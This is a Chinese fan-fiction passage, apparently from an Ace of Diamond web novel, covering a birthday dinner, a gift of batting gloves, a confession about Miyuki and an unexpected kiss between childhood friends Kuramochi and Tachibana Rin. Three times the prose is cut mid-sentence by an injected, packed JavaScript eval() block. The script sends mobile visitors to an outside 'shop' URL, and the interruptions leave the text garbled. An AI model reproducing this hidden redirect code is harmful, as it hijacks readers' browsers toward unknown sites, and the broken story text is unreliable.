“哎呀,我们都不好意思打扰你们了。”妈妈从厨房内走出来,“关系还是这么好。” 只是普通的一句话,却让仓持心里一惊,他抬头和橘的妈妈对视,橘的妈妈温柔地笑了笑。 “以前两个那么小的孩子,转眼就这么大了。”妈妈唏嘘道,“我们到东京来了以后,铃读的初中离家里很远,我们都考虑要不要她住校了,结果毕业以后她死活说要读家门口的青道,我们还不解了好一阵。” “结果是缘分啊,没想到小洋也来了青道,还在同一个班,你妈妈和爷爷还好吗?好久没见了,铃前几天还说想回千叶看看呢。” 怀念的不止仓持一个人,从厨房出来以后,妈妈的话就没停过,像几百年没跟人说过话似的。 被她按住的仓持只得逐个逐个回答她的问题。 受不了。 橘铃站起来:“我去换个衣服。” 待换完衣服回来,他们三已经整齐地坐在桌上,齐刷刷地盯着她,盯的橘铃毛骨悚然。 仓持那生日帽子还歪歪斜斜戴在头上,爸爸妈妈脸上带着意味不明的笑容,他们三倒像是一家人了。 “晚餐是什么……甜咖喱??”每个人面前整整齐齐摆放着一碗甜咖喱。 如此简单,她还以为今晚一定会吃什么大餐。 “对啊,小洋从小就爱吃甜咖喱,生日当然要给他做最好吃的甜咖喱!”妈妈握拳,“虽然我做别的不行,但是咖喱可是我最擅长的!” 这话倒是没错。 可是这个分量明显不够仓持吃,他是一个晚上要吃三碗饭的人。 结果。 “太好了。”仓持说,“今晚不用吃三碗饭了。” 原来根本就吃不下! “你训练没达标。”橘铃打量着他,“教练和克里斯学长说过,如果运动量达标,三碗饭是轻轻松松都能吃下的。” “……你试试吃三碗饭是什么感觉,还有眼神凶恶的学长在对面守着,吃不下一点啊。” 这说的或许是纯学长?橘铃把每个学长的脸在脑海里过了一遍,还有东学长。哦丹波学长的眼神也挺凶恶的,但他不是那种性格的人。 橘铃一边吃着咖喱,一边抽空瞅着仓持,果然他面带笑容轻松地吃下了一碗汤咖喱,完全没有在食堂里愁眉苦脸的样子。 这是不是可以告诉学姐,他训练量不够。 “好了好了,吃完饭就该吃蛋糕了!这是铃亲自为你挑选的哦,锵锵——” 一个蛋糕被端 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088400|195410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了上来,上面堆满着各样表情的棒球小人。 “…………”仓持看了橘铃一眼。 她知道他的意思,他说你这还不是小朋友吗。 这不可爱吗?她审视着看了看自己的挑选的蛋糕,再次觉得,挺可爱的。 “诺。”妈妈递给橘铃一个相机,示意她拍照,爸爸插上蜡烛后就关上了灯。 “寿星先许愿哦。” 橘铃抚摸着相机冰冷的机身,举了起来,对准仓持的脸。 蛋糕上的蜡烛忽闪忽闪地发出昏暗不定的光,橘色的光芒映照在仓持脸上,身后的父母唱起了生日歌,他要许什么愿望呢? 她按着相机,相机发出轻微的镜头转动的声音,仓持的脸在此刻更为清晰。 好,等他许愿—— 就在此刻,相机里的仓持抬起眼看了她一眼,橘铃心里一跳,下一秒,他闭上了眼睛,虔诚地合起双手。 “咔嚓——” 她的手好像抖了。 蜡烛被吹熄。 “哦——”父母发出欢呼,灯又被重新打开。 她看着屏幕里被定格下来的仓持,少年对着蛋糕许着愿望,他的表情真挚无比。 还好没有花掉。 她不敢抬头,她有种预感,小洋正看着她。 为什么要在许愿前看她? “小洋,生日快乐,这是我们给你送的生日礼物!”适时不会看气氛的爸爸举着礼物冲了过来,“最新款任XX的游戏机,你肯定会喜欢的!” 橘铃松了口气,她抬眼,小洋接过了礼物,惊喜地和爸爸说着什么话。 是她的错觉吧,应该没有看她。 “小铃,你送的礼物呢。”妈妈站在她身后,拍了拍她的肩膀。 糟了,在房间里,忘记拿出来了。 她往后走了两步,说:“在房间里,我去拿。” 妈妈脸上露出了促狭的笑容。 这个表情,橘铃越发不想让他们知道她送的是什么东西,一会儿不知道又要从他们嘴里说出什么话来。 看他们折磨仓持她倒是很乐意。 “是什么呢?”妈妈在旁边猜测着,“杯子?帽子?还是什么……” “谁会送那些东西。”橘铃抱怨道,她走到自己房间门口,妈妈的目光还跟着她,连跟小洋说话的爸爸的眼神也往这边瞟着。 不行真的不想让他们知道。 这个念头一出,她转过身走到餐桌旁边,抓住错愕的仓持的手:“你过来!” “喔~”在爸妈的哄闹中,橘铃关上了门。 “他们两个真是烦死了。”橘铃指挥着仓持坐在书桌边,准备去拿礼物,“不管我送什么,他们两肯定又要在旁边说什么真好啊,上次也是。” “上次?” 说漏嘴了,上次御幸来的那次。 上次她生气后,他们两好了一阵,今天小洋一来,他们两又开始犯老毛病。 以前他们就总是长吁短气说什么,女儿这么可爱怎么没谈过恋爱,这下有男生来家里,可算让他们逮着机会了。 就算这个男生是从小一起长大的小洋。 她忽然对这个想法没什么底气。 她偷偷看了眼坐在书桌边的男孩,他的目光已经被书柜吸引了。 是错觉吧? 她打开衣柜,从里面拿出礼物。 那是一个被包装好,上面还打了一个完美的蝴蝶结的礼物。 不知怎地,她有点紧张。 她转头,仓持正看着她,头上还带着那个傻兮兮的帽子。 好,心中的紧张感一下荡然无存。 她走到仓持面前,以一惯轻快的语气说道:“小洋,生日快乐,这是我给的你礼物。” 15. 察觉 会是什么礼物呢? 仓持接过橘铃递过来的礼物:“我可以拆开吗?” “当然可以,这是你的礼物。” 这个盒子并不大,排除刚刚橘铃和妈妈否认掉的东西,还会是什么呢? 仓持小心翼翼地抽开丝带,越拆开一层,他的指尖就越不住地轻轻发抖。 这仿佛不是一个生日礼物,而是一个决定他命运的东西。 待到礼物被完全拆开,他微微一怔:“这个是……” “是打击手套,你喜欢吗?”橘铃观察着他的表情,“我问了东学长和克里斯学长,他们都推荐这个牌子。我买了两双,可以一双训练用,一双比赛用。” “本来想送棒球棒的,但是感觉会不会太官方啦?” 仓持不语,他拆开一只手套带上,黑色的手套包裹在手指上,不紧绷又贴肤,他握了握拳,语气带上点惊奇:“感觉不错。” 手套的尺寸刚好合适,不长也不短,这令仓持心里多了一个疑问,她怎么知道自己手的尺寸的? 他看向坐在床上的橘铃,而听到仓持肯定话的橘铃此刻眼睛亮闪闪的:“是吧是吧~感觉还不错吧?他们都说舒服的手套也会提升打击率。好不容易上了一军,要好好表现哦,虽然学长们表现都很不赖,但是只要努力肯定是有机会的。” 难以言喻心里是什么样的感觉,那刚刚带上去的手套仿佛和他的手指融为了一体,他脱下手套,手指暴露在空气中竟然有些不适应。 手指贪恋那温暖的感觉。 其实不是,他清楚,那并不是手指的贪恋。 他微微弯了弯手指,将手套握在手心。 “很合适。”仓持说,“我很喜欢,谢谢你,铃。” 果然如此。 这是橘铃知道一定会听见的话,只要是她给的东西,小洋都会开心地收下,说他很喜欢。 他的眼神都会和现在一样,充满着欣喜和满足。 不,他的眼里还有更深的别的东西。 橘铃感觉自己唇角的微笑有些许发僵,会是她自作多情吗?或许是,但大家已经是高中生,早就和之前的小孩子不一样了。 她才意识到这个事情。 而仓持洋一…… 不是小洋。 她这才开始正眼端详起面前这个少年。 他安静地摆弄着手里的手套,脸上的表情认真却又带着骨子里的不羁,长期在太阳照射下训练而略显黝黑的肤色给他添了一分沉稳,白色的短袖下是有着明显肌肉线条的手臂,他坐在椅子上,身体微微前倾,如同一只蓄势待发的豹子。 橘铃不禁往后仰了仰。 如此不一样,为什么她之前没发觉?这不是她记忆中那个跟在她屁股后面,安静又聒噪的小洋。 像是注意到了她的动作,仓持说:“小铃?你怎么了?” 怎么了? 这些话说不出口,说什么?说你不是小洋,仓持大概会觉得她脑子有问题吧。 她竟然觉得自己局促了起来,手都不知道往哪里摆放。 仓持手中还握着她送给他的礼物,那双眼睛一直关切地追随着她。 她感到自己喉咙发紧,想说的话被死死卡在了胸口。 “我……” 那关切的眼睛即刻染上了担忧,仓持又往前靠了靠,他低声说:“你还好吗?” 我还好吗? 我当然还好。 她几乎能感受到仓持的呼吸,少年身上清新又干爽的气息。 这和御幸身上的气息完全不同。 御幸。 这个名字的出现令她紧张的心情稍微放松了一些,她微微仰起下巴,想说什么,但看见仓持那双眼睛,脑海里却又忽然想起别人所说的话。 “哎呀,你看仓持那春心萌动的样子,不得了。” “真好啊,有个棒球部的青梅竹马。” “你有好感的人,是小洋吗?” 高桥由衣和父母的话在耳边重叠,她还记得她说了什么,她说:“怎么可能,我们不是那种关系。” “小洋怎么会喜欢我?我们可是从小一起长大的。” “他的心里当然只有棒球啦!” 现在到底是什么情况?? “你的脸怎么这么红?” 仓持的声音响起,她下意识摸了摸脸,指尖下的皮肤发烫。 是啊,她的脸怎么会这么烫?等等,他们之间这个距离…… 橘铃推开面前的少年,猛地站起来:“你干嘛!” 猝不及防被她推到椅子上的仓持懵逼地看着她:“我没干嘛,我以为你不舒服。” 是啊,人家只是关心她,她在想什么,是她太过激了么。 橘铃用手捂住一边发烫的脸颊,胡乱说道:“哦,我是有点不舒服,可能发烧了,感觉脸好烫。” 拙劣的借口,谁也不会相信吧,更何况是细心的小洋。 而这句话说出的同时,仓持的神态立马慌张了起来,他跟着站起来,在橘铃还没有反应过来的情况下,伸手贴住了她的额头。 不会吧,他真的信了? 那粗糙又宽大的手掌遮住了她的眼睛,指节的茧弄的她的睫毛发痒,她眨了眨眼睛,感觉脸颊更烫了。 “奇怪。”眼睛被遮住,她清晰地听见了对面传来的少年的声音,“不烫啊。” 是的,他的声音也和以前不一样,以前的小洋声音奶气又可爱,现在低沉了许多,仓持洋一,是个正常的高中男生啊!! 对面的仓持还在嘀咕着奇怪,橘铃回过神来,抓住他的手腕,硬生生地拽了下来。 想想这几个月她都做了什么,完全没有小洋是个男生的自觉,不对,现在不是想这个的时候,要解决掉这个奇怪的氛围。 突然出现的灯光令她眯了眯眼,她顾不得许多,快速说道:“好了,礼物给你了,我们出去吃蛋糕吧,那可是动物奶油,会化掉的!” 然后甩开了手中握住的手腕。 他的体温明显比她要高,橘铃心不在焉地想着,运动系果然身体好得多,那叫什么,气血足?她是不是也要考虑可以锻炼一下。 “?”被甩开手的仓持完全摸不着头脑,两人大眼瞪小眼,他又想伸手摸橘铃的额头,却被一巴掌打掉。 “干什么呢!”橘铃低吼着,但底气明显不足,“我说了我没事,该出去吃蛋糕了。” 话是这么说,但是橘铃的样子和刚刚都完全不同,仓持疑惑地看着眼神乱转的橘铃,目光落在那慢慢褪去红色的脸上,和仍旧通红的耳尖。 不是发烧,那是什么? 难道是害羞? 这个想法一出现在脑海,就让仓持浑身不得动弹。 是害羞吗? 难道她…… 不可能。 他很快否定掉了这个突如其来的想法,但眼前明显和以前不一样的橘铃,又令他动摇。 难道说……他艰难地张了张口:“铃……我。” 橘铃的神情更慌乱了,她双手比着叉,说道:“等等!有什么话一会儿再说,我们该吃蛋糕了!!” 与此同时,门锁转动的声音响起,门被一把拉开,温柔又高昂的声音在门口响起:“蛋糕快化了,我想你们还要聊一会儿,铃,不介意妈妈进来吧?” 橘铃惊异地转过头,妈妈端着两盘蛋糕快速走了进来,往书桌一放:“蛋糕我放在这里了,你们慢慢聊哦~” 说着她却迟迟没有出去的意思,她瞅了瞅仓持手上拿着的礼物,又看了看两人大眼瞪小眼的样子,露出高深莫测的微笑。 “……”橘铃说,“没关系,我们可以出去吃。” “哎呀,没事啦,我知道你们有年轻人之间悄悄话。”妈妈摆了摆手,了然般地眨眨眼,“你们继续聊哦~记得锁门。” 两个人如同化石一般,目送着妈妈风风火火地进来,又风风火火地出去,然后贴心地关上了门。 不用明说,他们一定在偷听,橘铃抽了抽嘴角,捂住了脸。 但是幸好打断了,她没有勇气听仓持接下来要说的话,这种时候,她反而感激父母那不靠谱的性格了。 但心中的危机感还在,她试图挣扎:“小洋,要不我们还是出去吃……” 她还没说完,仓持已经端过了一盘蛋糕递给她:“你爱吃甜的,这盘多的给你吧。” 一个胖圆的棒球站在蛋糕上,睁着无辜的大眼睛看着她,而另外一盘则是光秃秃的,什么也没有。 她摇了摇头:“不,今天是你的生日,这是你的。我去看看,外面肯定还有。” 说着她就试图往外走。 “没事。”仓持伸出一只手拦住了她,“最近训练,我要控制饮食,这小块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088401|195410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经够了。” “可是……”橘铃还想挣扎,他已经挑出一块蛋糕,塞到了她的嘴里。 奶油的甜味在嘴里弥漫,她愣了一下,仓持的手还停在半空,捏着那只近在咫尺的叉子,橘铃看着那只手,不知道作何反应。 连背面都是细细的茧疤,平时训练应该非常辛苦吧。 小洋在青道每天都在认真训练,晚上还要加练,要是比训练量,他是不会输给学长们的。 今天晚上他却没有训练。 自己的生日当然很重要嘛。如此心虚地想着,她抬眼,他们两还维持这诡异的动作。 呃。自己的生日,是很重要啦。 她吐出叉子,仓持说:“好吃吗?” “好吃。”她选的蛋糕肯定好吃。 “那你就多吃一点。” 好吧,橘铃只得败下阵来接过他手里的蛋糕。 味道确实不错,奶油甜而不腻,在嘴里化开还泛着香气,蛋糕松软可口。 她盯着盘子里的蛋糕,不停地往嘴里塞着,似乎这样,房间里那残存的尴尬氛围也能被她一口一口地吃掉。 说点什么啊。 说你训练辛苦?会不会太客套。那就说点学习上的事?上次的补习的题他有回去做吗?不行不行,生日说这些不太好吧。 可恶,他怎么不找点话题,只有她在这里尴尬吗? “叮——” 是仓持的手机响了。 他掏出手机,有人在给他发消息。 看到消息后他的神情似乎更加柔和了起来,而他手边的蛋糕没怎么动过。 橘铃已经吃完了。 两个对比鲜明的盘子放在一起,她后知后觉有点不好意思。 但仓持还看着手机,他的手指一直打着字。 在跟谁聊天呢? 她问:“你觉得不好吃吗?” 听到问话的仓持抬起头,露出一个笑容:“很好吃。” 紧接着,他又低下了头,开始打字。 她想和往常一样自然地打趣,但是嘴巴像被缝上了拉链一样,她摸出了自己的手机,开始无趣地到处翻看。 难熬。 仓持的手机震动着,他还在跟别人聊天。 看什么信息比跟她说话还重要? 这个想法一出来,橘铃吓了一跳。 别瞎想了,还是说点什么吧。 “你在跟谁发消息?” 好,还是说出了不应该问的话,橘铃几乎以头抢地。 “抱歉。”反应过来的仓持转过手机,让橘铃看清楚他聊天的对象,“是我妈,她祝我生日快乐,我刚刚给她拍了蛋糕,她说很可爱,然后说想看看现在的铃。” “啊?” 橘铃看了眼消息,仓持的妈妈确实说了这句话。 “你介意吗?我拍一张你的照片。” 等等!这太突然了吧!橘铃坐直了身体,她四处找着镜子,开始摸着自己的头发:“阿姨想看当然可以啦!马上我看看我现在什么样子……” 话还没说完,仓持坐在了她的身边,两人的手臂挨在了一起,他伸出手机:“没事,你现在这样子就很漂亮。” 自拍。 她僵硬地看向屏幕,还没做出表情,仓持已经按下了拍照。 “啊——”橘铃尖叫出声,“不许发!让我看看我的脸!” 她伸出手想抢过仓持的手机,而仓持高高举起手,不让她得逞。 “真的,你很好看。”仓持认真说道,“不管怎么拍都是。” “不行不行,让我看看!!快给我,我要生气了!”橘铃扑了过去,她努力地够着仓持手中的手机,浑然不觉自己整个人已经完全靠在了仓持身上。 仓持深吸一口气,妥协般地把手机递给她:“好了好了,给你。你看吧,真的很好看。” 接过手机的橘铃充耳不闻地点开照片,开始审视自己的脸。 确实完美。 就算那表情略显呆滞,但是那张脸确实还行,这家伙拍照的水平不错嘛。 除了两人挨得太近,就像现在一样。 等等,他们什么时候靠在一起的? “铃。”坐在身边的仓持说道,“你不好奇,我许了什么愿望吗?” 橘铃僵硬地抬起头,仓持的脸已经近在眼前。 更近了。 16. 窒息 “铃。”坐在身边的仓持说道,“你不好奇,我许了什么愿望吗?” 好奇,她当然好奇,但是现在根本不是好奇的时候。 她僵硬地低下头,手机中两个人靠在一起,仓持的眼神一直追随着她,和小时候一样。 不能再这么下去了。 这样的氛围,这样的结果,都不是她想要的。 她将手机还给仓持,自然地往旁边挪了挪,努力让自己的声音听起来轻快一点,如她往常:“我好奇啊,但是让我来猜猜,你的愿望肯定是拿到背号进入甲子园吧。” “每天辛苦不间断的训练不就是为了这一天吗?” 橘铃脸上露出了然的笑容:“青道棒球部,每个人的脑子里都在想棒球啦,我还不清楚吗。” 仓持接过手机,随意放在一旁。 闻言他微微出神,没有反驳,低声说道:“你说得对,我想成为大家能委以重任的队员,想成为亮学长值得托付的搭档,成为东京最棒的二游间。” “但是,这都不是我今天许的愿望。” 橘铃压住心中那股不安的感觉,她装作惊讶地说道:“诶?我竟然猜错了吗?你还有别的愿望,怎么回事?目前对你来说最重要的不是棒球吗,马上就是夏季大赛了。” 丝毫没有理会橘铃的插科打诨,仓持棕色的眼睛暗沉到似乎要凝结在一起:“对,我还有别的愿望,一个和你有关的愿望。” 不妙,他这句话就差把答案呼在她脸上了。 橘铃努力维持着脸上的笑容,她握住双手,继续想拖延着:“生日愿望说出来可是就不灵了哦。” “没关系。”仓持说,像是下定了某个决心,“我更想让你知道。” 总是那么体贴细心的人,也会在这种时候执拗,橘铃垂下眼帘,不知怎么想到了仓持小时候,她和别人吵架,他总是会为她出头,就算别人已经求饶,仓持还是会非常生气。 但是只要她说一句小洋,仓持就会乖乖跟在她身后。 或许从那时候开始…… 橘铃叹了口气,她说:“我很开心你愿意告诉我你的愿望,这算不算小洋愿意把自己的秘密告诉我呢?” 仓持微微一顿,不等他做出回应,橘铃又说道:“那我也告诉你一个我的秘密好吗?” 她的脸上笑意盈盈,晃了晃食指:“我们来交换秘密怎么样?” 仓持愣了一下,他重复道:“交换秘密?” “对。”橘铃点点头,“你不好奇我有什么秘密吗?” 类似的话,此刻又抛给了对方。 “我们一换一,都不会吃亏哦。” 仓持思考着,缓慢地摇了摇头:“没关系,只是我单方面想告诉你,铃不用做什么。” 这个家伙果然不会按着她的想法来,虽然总是跟在她屁股后面,他一直都是一个有主见的人。 橘铃不觉得气馁,她再次说道:“不行,我必须要说。你的生日愿望说出来就会不灵了,我这都不说的话,我会不好意思的。” 仓持还想说什么,橘铃心下一横,抱着手大声耍赖说道:“我就要说我就要说!” 竟然在这种时候耍赖。 “……”仓持扶额,“好好,你说你说。” 橘铃嘴角微微翘起,这是她真心的笑容,她愉快地晃了晃垂在床边的脚。 “那我先说咯!”橘铃的余光看向了卧室门口,卧室大门紧闭着,不知道那不靠谱的父母是不是还趴在门口偷听,他们应该不至于无耻到这种程度。 “其实,我不是因为喜欢棒球而加入棒球部的。” 要说吗?就这样说出来告诉他。 她努力维持着镇定,声音的末尾还是有点发抖,不知道小洋听出来没有,他应该能发觉吧?她要说的事。 “嗯,我知道。”仓持说,“以前的你对这些一点兴趣都没有。我听说了,你说觉得棒球很有意思?” “是很有意思。以前的我都看不懂你们在干嘛,围着一个圈跑来跑去。”橘铃的手在面前画着圈,“好像被那个棒球吊着的驴。” “………………”仓持很难形容现在是什么样的心情,他捂住额头,“你说的还真是……”某种意义上的形象。 “那是我以前的想法啦!”橘铃赶紧扯回话题,“现在经过这几个月,我觉得棒球真的很有意思。” “每一局的结果都不一样,明明快要结束,可能又会有新的转机,怎么说呢……”她努力组织着语言,“好像一切都是未知的。” 橘铃看向仓持,棕色的长发随着她的动作落下:“还有你们的努力。” “努力……”仓持喃喃道。 “你们的训练量大到我不理解,但是我知道,为了站在心目中的甲子园,你有多么努力,这样才让我觉得,原来棒球是一个这样的事物。”橘铃不再看他,目光无意识地投向桌上摆放着的盘子。 一盘几乎没动,而另外一盘已经被吃得干干净净,只残留着一些刮不掉的奶油。 她的声音轻了下来。 说出来就没有回头路了。 “虽然,很不好意思……但我知道如果是小洋,一定可以理解我吧。” “我加入棒球部,”她深吸一口气,“是因为御幸一也。” “他好像很有意思,他……和我们都不太一样。” 她不敢看仓持的脸,她抬起膝盖,脸微微埋进去:“我想,我可能有点喜欢他吧?” 寂静无声。 仓持不再说话,他的呼吸似乎都从这个房间消失。 怎么还不说话? 橘铃的手指绞在一起,指关节泛白,指尖冰凉的感觉让她有种错觉。 房间的温度似乎没有刚刚那么高了。 “啊哈哈……”她托住自己的脸,慌乱地说道,“很奇怪是吧?” “没有。”仓持终于开口,他的声音和刚刚没什么区别,“不奇怪。” 只是有点太平静了。 平静到让橘铃觉得有点可怕。 是她理解错了吗?小洋其实并不是……那个词语在她舌尖打着转,她实在是没办法说出这个词语。 橘铃侧过脸,仓持还是看着她,只是,他的眼里好像有什么东西消失了。 “是吗……不奇怪就好。哈哈。”橘铃干巴巴地回应着,慢慢垂下眼帘。 他们还能像以前一样吗? “我说,你……”仓持顿了顿,艰难地说出那两个字,“你喜欢他的事情,他知道吗?” 没想到仓持会提问,她抬起脑袋:“他不知道吧?” “你说他跟我们不一样,哪里不一样?” “哪里不一样?”橘铃愣了愣,她没有仔细想过这个问题,只是在跟御幸说过话以后,她就明显能感到,她和他不一样。 这种时候要说什么话呢? 她想了想:“因为他……很有趣吧?” 这听起来像是借口。 “是吗。”仓持并不在乎她给的答案是什么,他没再看她,目光漫无目的地飘向他摆放在桌上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088402|195410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的礼物,“那现在,轮到我说我的秘密了吗?还是说愿望?” 两双黑色的手套耷拉着放在那里,孤零零的。 他转过头,一字一句地说道:“我的愿望是,这学期要考全班第一。” 果然橘铃疑惑地看向了他。 “毕竟是铃在给我补习嘛,如果不做出点成绩,那不是太没面子了。怎么样,我这个愿望是不是很厉害?” 我喜欢你。 我一直都很喜欢你。 我以为你也会喜欢我的。 为什么会是御幸? 原本预想过千遍万遍的话,此刻只能沉入心底。 他闭上眼睛,低声说道:“可能只有这个事情,我才不会输了吧。” “……”橘铃张了张嘴,她想说什么,但是干涩的喉咙发不出一点声音。 她扯了扯嘴角,终于露出了一个难看无比的笑容:“嗯,要加油哦。” 轻飘飘的一句话,不知怎的,引得仓持笑了一下。 他用手撑住自己的脸:“果然,只有棒球啊。” 说着,他站起身,拿起桌上那盘他只吃了一口的蛋糕。 那表面上的奶油已经有了快要融化的痕迹,它们软塌塌地立在那里,快要倒塌。 跟铃说的一样,这是动物奶油,再不吃就会化了。 这些事,明天再想吧,就让他稍微放纵一点。 蛋糕倒是挺好吃的,但是没什么味道。 礼物他也很喜欢。 只是。 他轻轻叹了口气。 算了,没什么,这些好像都没什么所谓了。 “是啊,你打棒球真的很厉害,我听说,背号会在夏甲开幕式的前几天才会公布,教练不想放过任何一个人的努力,还有一个月,我觉得你肯定会有机会的。” 橘铃假装轻松的声音在耳边响起,他低低地应了一声。 什么时候他们两的话题之间也充斥着棒球了呢? 如果是以前的他会欣喜不已,可是现在他想从她嘴里听到点别的话,不只是棒球。 “上周的比赛你表现得很好,连教练都夸奖了你,小礼也说你很不错。” 小礼。 仓持捕捉到了这个称呼,和御幸一样,他们都称呼高岛礼为小礼。 其实一切都有迹可循,他早就知道了,只是心里不肯承认罢了。 但是今天是他的生日。 他可以稍微再放肆一点吗?只要一点点。 他看向那个眼里带着失落,却假装若无其事的少女,走到她面前。 他有点控制不住自己的手抖,奶油的味道还没在嘴里化开,他低声说道:“铃。” 橘铃抬起头,那双金色的眼睛和以前不一样,复杂的情绪在里面翻涌着。 你知道我的感情吗?你知道我的心意吗? 你肯定是知道的吧? 就算知道,也要告诉我御幸的事吗? 那你会原谅我做的事吧?我可是跟你一起长大的小洋。 这才是他最想要的生日礼物。 “抱歉。” 他捧住橘铃的脸,低下头,轻轻贴了上去。 一个带着奶油味的吻。 橘铃的瞳孔变大。 被他扔在一旁的手机震动了一下,屏幕亮起来。 屏幕上,妈妈的消息回了过来。 “勇敢这一次吧,你们很配哦(*^▽^*)” 这条消息在屏幕上静静待了几秒,手机重归黑暗。 17. 回避 “铃!” 谁在叫她? “铃!快醒醒!” 为什么要叫她醒? “快点,铃,别睡了!” 她迷糊睁开眼睛,面前堆放着的书籍,老师穿的西装…… 等等,老师穿的西装? 她猛地抬起头,老师站在她面前,面色难堪地盯着她看。 她居然在上课的时候睡着了,闻所未闻。 橘铃呆滞地看着面前的老师,脸上还带着压出来的红印子。 老师怒吼一声:“橘铃!” 这一下令她一激灵,彻底清醒了过来:“老师……” 随即老师的语气温柔了起来:“你身体不适吗?要不要去医务室看看?” “不,不用了,谢谢老师关心。”她尴尬地笑了笑,“我只是刚刚有点不舒服。” 老师了然地点点头:“平时学习的时候也要多注意身体,好,我们接着上课。” 细碎的笑声在周围响起,橘铃捂住了脸。 丢脸丢大发了。 幸好凭借自己的成绩,老师还能给自己好脸色,要是吊车尾,现在估计已经去教室外面站着了。 昨晚她失眠了。 在仓持贴上来后,她就已经彻底傻了。 这个吻持续的时间不长,但是她也没有推开他。 浅浅一吻后,仓持又低声说了句抱歉,便收拾盘子出去了。 紧接着,她便听到了父母愉快的笑声和讲话声,然后就是妈妈催促她出去。 她轻轻摸了摸嘴巴,刚刚的温热就像是幻觉。 少年的气息还若有若无地浮动在她身边。 要怎么办? 他是疯了吗? 她站在房间门口,甚至不敢走出去。 怎么那个强吻了她的人就那么若无其事走了出去? “铃!” 在妈妈的再三催促下,她终于踏出了房门。 他们三人站在气球墙后面,举着刚刚的相机,看起来是要拍照。 橘铃不敢看仓持,她走过去,被妈妈一把拉到仓持旁边站着:“我设定自动拍,你们都站好了!” 然后她指点着旁边的仓持:“小洋你把生日帽带好。” 仓持扶了扶刚刚带上去的帽子。 “嗯,很好。”妈妈满意地点了点头,“开始咯!” “1、2、3,茄子~” 橘铃下意识地露出了她在外常用的完美微笑。 好在很快就拍完了,她立马走上前拿起相机,爸爸凑了过来:“我看看,你们两怎么笑得这么奇怪?” “哪里奇怪,我们不都是这样笑的吗。”橘铃说着,目光落在屏幕上仓持的脸上。 是很奇怪,一个努力扯动自己嘴角的样子。 爸爸严肃地盯着屏幕:“是这样,总觉得笑的不真心。” 什么真心,橘铃的目光若有若无地落在仓持身上,他看上去没什么不同,只是不看她。 时间太晚了,该回学校了。 “谢谢叔叔阿姨,我走了。” 一家人站在门口送着仓持,妈妈摸了摸他的脑袋:“小洋,你妈妈不在这边,我们就是你的爸爸妈妈,遇到什么事一定要给我们说哦,我们都会尽最大的努力帮你。” 应该不会再遇到什么事了。 他乖巧地点头,在转身的那刻看了眼橘铃,两人视线相撞,橘铃低了下头。 他露出一个苦笑:“我走了,拜拜。” 橘铃回到房间,刻意避开了两人坐过的地方。 她伸出手,再次摸了摸嘴巴。 总觉得有些奇怪,刚刚的感觉一直残留在唇上。 怎么还是这样了? 她叹了一口气,坐在床上,闭上眼睛,对着前方说道:“我们还是朋友,和以前一样,对吗?” 不会有人回应她,她的话在空气中散去。 她打开手机又关上,在床上辗转反侧,最后给御幸发了个邮件:“今天是仓持的生日,你祝他生日快乐了吗?” 她没指望御幸会回消息,这个男人回消息也像看他的心情一样。 但是过一会儿,一条邮件回了过来,只是两个字:“说了。” 却奇异般地令她的心情好了一点。 然而她还是失眠了。 硬撑到早上,在这催眠的日本史课上不幸地睡着。 虽然老师叫了她,但是听着听着,她的眼睛又要快闭上了。 平时她没发现,日本史老师的声音又低,语速又缓,真是太适合催眠了。 救命,眼睛又要……闭上了…… 好不容易熬到下课,橘铃正准备往桌子上一倒,高桥由衣就像发现了什么八卦冲了过来。 “真稀奇,优等生也会上课睡觉,你干嘛去了?”她稀奇地东看西看,“有什么心事可以告诉我,上天下地无所不能的知心姐姐万事通竭诚为你服务。” “昨晚没睡好。”橘铃不想说实话,她努力睁着那肿起来的眼睛,眼皮好似有千斤重。 太困了,下课时间就让她睡会儿吧。 “是吗——”高桥由衣一脸不相信,“难得的状态不好,刚刚上课你被老师叫醒,一直有人很担忧地看着你呢。” 这句话令橘铃努力抬起了沉重的眼皮:“谁看我?” “还能有谁?当然是你们棒球部的啦。” 说着,高桥由衣自满地等着橘铃看向御幸,而橘铃却出乎她意料地往左前方看了。 “喂喂,你在看谁啊?”她顺着橘铃的目光看过去,“仓持?喂,你怎么在看他啊!刚刚一直看你的可是御幸啊!” “啊……御幸吗?”仓持一如既往地趴在桌上,她迟缓地往右后方看去,御幸不在座位上。 御幸会关心地看自己,由衣是不是看错人了。 “怎么回事啊?”高桥由衣被她这动作吓了一跳,“你怎么一直在看仓持?你最爱的人不是御幸了吗?” “最爱,是啊,我爱死他了。别打扰我了,我要睡觉。”不理会高桥由衣的追问,橘铃往桌上一倒,迅速进入了梦乡。 